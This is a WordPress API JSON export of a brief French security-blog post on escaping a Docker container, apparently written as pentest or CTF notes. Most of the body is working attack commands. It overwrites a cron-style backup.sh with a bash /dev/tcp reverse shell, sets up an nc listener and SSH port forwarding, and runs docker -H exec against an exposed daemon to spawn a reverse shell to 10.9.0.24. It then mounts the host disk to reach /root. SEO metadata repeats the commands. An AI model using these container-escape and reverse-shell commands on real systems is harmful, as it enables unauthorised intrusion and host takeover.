{"id":452,"date":"2021-06-26T22:10:34","date_gmt":"2021-06-27T03:10:34","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=452"},"modified":"2021-07-31T16:35:36","modified_gmt":"2021-07-31T21:35:36","slug":"sortir-dun-container-docker","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/06\/26\/sortir-dun-container-docker\/","title":{"rendered":"Sortir d’un container docker"},"content":{"rendered":"

Nous pouvons voir que nous sommes dans un docker en allant dans \/opt\/backups<\/p>\n

Nous pouvons sortir en \u00e9crasant backup.sh<\/p>\n

echo \u00ab\u00a0#!\/bin\/bash\u00a0\u00bb > backup.sh
\necho \u00ab\u00a0\/bin\/bash -c ‘bash -i >& \/dev\/tcp\/\/1234 0>&1′\u00a0\u00bb >> backup.sh<\/p>\n

Il existe aussi des scripts d’\u00e9num\u00e9ration des dockers<\/a><\/p>\n

Voir la vuln\u00e9rabilit\u00e9 CVE-2019-14271<\/p>\n

parfois nous pouvons nous connecter \u00e0 un serveur docker \u00e0 partir de la machine de l’attaquant
\n

\nnc -nlvp 4444\nssh -fN -p 2222 L 8080:localhost:8080 user@10.10.10.10\ndocker -H tcp:\/\/localhost:8080 container ls\ndocker -H tcp:\/\/localhost:8080 container exec containername whoami\ndocker -H tcp:\/\/localhost:8080 container exec containername bash -c "bash -i &>\/dev\/tcp\/10.9.0.24\/4444 0>&1"\nfdisk -l\nmkdir \/mnt\/tmp; mount \/dev\/xvda1 \/mnt\/tmp\ncd \/mnt\/tmp\/root\n<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"
Nous pouvons voir que nous sommes dans un docker en allant dans \/opt\/backups Nous pouvons sortir en \u00e9crasant backup.sh echo \u00ab\u00a0#!\/bin\/bash\u00a0\u00bb > backup.sh echo \u00ab\u00a0\/bin\/bash -c ‘bash -i >& \/dev\/tcp\/\/1234 0>&1′\u00a0\u00bb >> backup.sh Il existe aussi des scripts d’\u00e9num\u00e9ration des dockers Voir la vuln\u00e9rabilit\u00e9 CVE-2019-14271 parfois nous pouvons nous connecter \u00e0 un serveur docker \u00e0 partir de la machine de l’attaquant nc -nlvp 4444 ssh -fN -p 2222 L 8080:localhost:8080 user@10.10.10.10 docker -H tcp:\/\/localhost:8080 container ls docker -H tcp:\/\/localhost:8080 container exec containername whoami docker -H tcp:\/\/localhost:8080 container exec containername bash -c "bash -i &>\/dev\/tcp\/10.9.0.24\/4444 0>&1" fdisk -l mkdir \/mnt\/tmp; mount <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-452","post","type-post","status-publish","format-standard","hentry","category-non-classe"],"yoast_head":"\nSortir d'un container docker - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/26\/sortir-dun-container-docker\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sortir d'un container docker - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Nous pouvons voir que nous sommes dans un docker en allant dans \/opt\/backups Nous pouvons sortir en \u00e9crasant backup.sh echo \u00ab\u00a0#!\/bin\/bash\u00a0\u00bb > backup.sh echo \u00ab\u00a0\/bin\/bash -c ‘bash -i >& \/dev\/tcp\/\/1234 0>&1′\u00a0\u00bb >> backup.sh Il existe aussi des scripts d’\u00e9num\u00e9ration des dockers Voir la vuln\u00e9rabilit\u00e9 CVE-2019-14271 parfois nous pouvons nous connecter \u00e0 un serveur docker \u00e0 partir de la machine de l’attaquant nc -nlvp 4444 ssh -fN -p 2222 L 8080:localhost:8080 user@10.10.10.10 docker -H tcp:\/\/localhost:8080 container ls docker -H tcp:\/\/localhost:8080 container exec containername whoami docker -H tcp:\/\/localhost:8080 container exec containername bash -c "bash -i &>\/dev\/tcp\/10.9.0.24\/4444 0>&1" fdisk -l mkdir \/mnt\/tmp; mount\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.searchevolution.com\/security\/2021\/06\/26\/sortir-dun-container-docker\/\" \/>\n<meta property=\"og:site_name\" content=\"S\u00e9curiser votre site\" \/>\n<meta property=\"article:published_time\" content=\"2021-06-27T03:10:34+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-07-31T21:35:36+00:00\" \/>\n<meta name=\"author\" content=\"Germain\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u00c9crit par\" \/>\n\t<meta name=\"twitter:data1\" content=\"Germain\" \/>\n\t<meta name=\"twitter:label2\" content=\"Estimation du temps de lecture\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/26\\\/sortir-dun-container-docker\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/26\\\/sortir-dun-container-docker\\\/\"},\"author\":{\"name\":\"Germain\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/#\\\/schema\\\/person\\\/84a6ede19ffc8428d804d96f1e476245\"},\"headline\":\"Sortir d’un container docker\",\"datePublished\":\"2021-06-27T03:10:34+00:00\",\"dateModified\":\"2021-07-31T21:35:36+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/26\\\/sortir-dun-container-docker\\\/\"},\"wordCount\":72,\"commentCount\":0,\"inLanguage\":\"fr-CA\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/26\\\/sortir-dun-container-docker\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/26\\\/sortir-dun-container-docker\\\/\",\"url\":\"https:\\\/\\\/www.searchevolution.com\\\/security\\\/2021\\\/06\\\/26\\\/sortir-dun-container-docker\\\/\",\"name\":\"Sortir d'un container docker - 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